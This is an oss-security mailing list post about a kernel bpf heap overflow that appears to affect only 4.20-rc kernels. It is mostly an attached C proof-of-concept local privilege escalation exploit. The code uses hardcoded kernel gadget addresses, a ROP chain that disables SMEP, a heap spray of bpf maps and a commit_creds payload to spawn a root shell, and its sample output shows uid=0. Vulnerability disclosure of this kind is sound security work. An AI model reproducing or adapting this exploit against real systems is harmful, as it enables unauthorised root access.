[prev in list] [next in list] [prev in thread] [next in thread]
List: oss-security
Subject: Re: [oss-security] fwd: [vs-plain] Kernel heap overflow in bpf leading to LPE (exploit provided)
From: Yves-Alexis Perez <corsac () debian ! org>
Date: 2018-11-24 9:08:15
Message-ID: a40aa855b2656ce82d611ea22fb6fb0c76c86353.camel () debian ! org
[Download RAW message or body]
[Attachment #2 (multipart/mixed)]
On Fri, 2018-11-23 at 21:45 +0100, Yves-Alexis Perez wrote:
> On Fri, 2018-11-23 at 19:09 +0100, Greg KH wrote:
> > As was discussed further on one of the threads on this topic, it looks
> > like this is a 4.20-rc issue only, and that 4.19 does not have this
> > issue. So it might not be relevant to any distro at all, but I suggest
> > that people test themselves to be sure.
>
> Hi Greg, thanks for the precision.
And considering no released kernel is vulnerable, here is the proof of concept
code provided initially.
Regards,
--
Yves-Alexis
["exp.c" (exp.c)]
// gcc -o exp exp.c -static -fno-pie
// SMEP bypass exploit
// author ww9210
// poc generated by syzkaller
/*
user@test:~$ ./exp
rop_payload_initialized
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:kernel_t:s0
# uname -a
Linux syzkaller 4.20.0-rc3 #1 SMP Thu Nov 22 15:12:38 CST 2018 x86_64 GNU/Linux
#
*/
#define _GNU_SOURCE
#define SPRAY_NUMBER 14
#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#define native_write_cr4 0xffffffff81097fcc
#define PREPARE_KERNEL_CRED 0xffffffff810e3670
#define COMMIT_CREDS 0xffffffff810e33e0
#define poprdiret 0xffffffff810013b9
#define popraxret 0xffffffff81029c71
#define swapgs 0xffffffff81c0095f
#define iretq 0xffffffff8106d8f4
#define stack_pivot_gadget 0xffffffff81954dc8
#define stack_top_offset 0x674
#define krop_base_to_map 0x81954000
int rop_start=0x1444-8;
void* krop_base_mapped;
unsigned long user_cs, user_ss, user_rflags;
static void save_state()
{
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
:
: "memory");
}
void get_shell()
{
system("id");
char *shell = "/bin/sh";
char *args[] = {shell, NULL};
execve(shell, args, NULL);
}
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;
void get_root_payload(void)
{
commit_creds(prepare_kernel_cred(0));
}
/*
unsigned long rop_chain[] = {
poprdiret,
0x6f0,
native_write_cr4,
get_root_payload,
swapgs,
0, //dummy
iretq,
get_shell,
0,//user_cs,
0,//user_rflags,
0,//krop_base_mapped + 0x4000,
0//user_ss
};
*/
#define POPRDX 0xffffffff81002dda
//0xffffffff810d9c01 : push rax ; push rax ; ret
#define DUMMY 0
unsigned long rop_chain[] = {
popraxret,
0x6f0,
native_write_cr4,
poprdiret,
0,
PREPARE_KERNEL_CRED,
0xffffffff81001c50, //: pop rsi ; ret
poprdiret,
0xffffffff812646fb, //: push rax ; push rsi ; ret
COMMIT_CREDS,
swapgs,
(unsigned long)&get_shell,
0,//user_cs,
0,//user_rflags,
0,//krop_base_mapped + 0x4000,
0//user_ss
};
void * fakestack;
void prepare_krop(){
krop_base_mapped=mmap((void *)krop_base_to_map,0x8000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
if (krop_base_mapped<0){
perror("mmap failed");
}
fakestack=mmap((void *)0xa000000000,0x8000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
*(unsigned long*)0x0000000081954dc8=popraxret;
*(unsigned long*)krop_base_to_map = 0;
*(unsigned long*)(krop_base_to_map+0x1000) = 0;
*(unsigned long*)(krop_base_to_map+0x2000) = 0;
*(unsigned long*)(krop_base_to_map+0x3000) = 0;
*(unsigned long*)(krop_base_to_map+0x4000) = 0;
*(unsigned long*)(krop_base_to_map+0x5000) = 0;
*(unsigned long*)(krop_base_to_map+0x6000) = 0;
*(unsigned long*)(krop_base_to_map+0x7000) = 0;
*(unsigned long*)(fakestack+0x4000) = 0;
*(unsigned long*)(fakestack+0x3000) = 0;
*(unsigned long*)(fakestack+0x2000) = 0;
*(unsigned long*)(fakestack+0x1000) = 0;
*(unsigned long*)(fakestack) = 0;
*(unsigned long*)(fakestack+0x10) = stack_pivot_gadget;
*(unsigned long*)(fakestack+0x7000) = 0;
*(unsigned long*)(fakestack+0x6000) = 0;
*(unsigned long*)(fakestack+0x5000) = 0;
rop_chain[12]=user_cs;
rop_chain[13]=user_rflags;
rop_chain[14]=(unsigned long)(fakestack + 0x6000);
rop_chain[15]=user_ss;
memcpy(krop_base_mapped+rop_start,rop_chain,sizeof(rop_chain));
puts("rop_payload_initialized");
}
#ifndef __NR_bpf
#define __NR_bpf 321
#endif
uint64_t r[1] = {0xffffffffffffffff};
// defragmentation
void defragment(){
int i;
FILE* fp;
char name[100];
for(i=0; i<200; i++){
snprintf(name, 100, "xxx%d", i);
fp=fopen(name,"w");
}
}
long victim[SPRAY_NUMBER];
void spray(){
int i;
for(i=0;i<SPRAY_NUMBER;i++){
victim[i] = syscall(__NR_bpf, 0, 0x200011c0, 0x2c);
}
return;
}
int main(void)
{
syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
long res = 0;
*(uint32_t*)0x200011c0 = 0x17;
*(uint32_t*)0x200011c4 = 0;
//*(uint32_t*)0x200011c8 = 0x1000;
//*(uint32_t*)0x200011c8 = 0x200;
*(uint32_t*)0x200011c8 = 0x40;
*(uint32_t*)0x200011cc = -1;
*(uint32_t*)0x200011d0 = 0;
*(uint32_t*)0x200011d4 = -1;
*(uint32_t*)0x200011d8 = 0;
*(uint8_t*)0x200011dc = 0;
*(uint8_t*)0x200011dd = 0;
*(uint8_t*)0x200011de = 0;
*(uint8_t*)0x200011df = 0;
*(uint8_t*)0x200011e0 = 0;
*(uint8_t*)0x200011e1 = 0;
*(uint8_t*)0x200011e2 = 0;
*(uint8_t*)0x200011e3 = 0;
*(uint8_t*)0x200011e4 = 0;
*(uint8_t*)0x200011e5 = 0;
*(uint8_t*)0x200011e6 = 0;
*(uint8_t*)0x200011e7 = 0;
*(uint8_t*)0x200011e8 = 0;
*(uint8_t*)0x200011e9 = 0;
*(uint8_t*)0x200011ea = 0;
*(uint8_t*)0x200011eb = 0;
save_state();
prepare_krop();
res = syscall(__NR_bpf, 0, 0x200011c0, 0x2c);
if (res != -1)
r[0] = res;
spray();
*(uint32_t*)0x200000c0 = r[0];
*(uint64_t*)0x200000c8 = 0;
*(uint64_t*)0x200000d0 = 0x20000140;
*(uint64_t*)0x200000d8 = 2;
uint64_t* ptr = (uint64_t*)0x20000140;
ptr[0]=1;
ptr[1]=2;
ptr[2]=3;
ptr[3]=4;
ptr[4]=5;
ptr[5]=6;
ptr[6]=0xa000000000;
ptr[7]=8;
syscall(__NR_bpf, 2, 0x200000c0, 0x20);
int i;
*(unsigned long*)(fakestack+0x7000) = 0;
*(unsigned long*)(fakestack+0x6000) = 0;
*(unsigned long*)(fakestack+0x5000) = 0;
for(i=0;i<SPRAY_NUMBER;i++){
close(victim[i]);
}
pause();
return 0;
}
["signature.asc" (application/pgp-signature)]
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic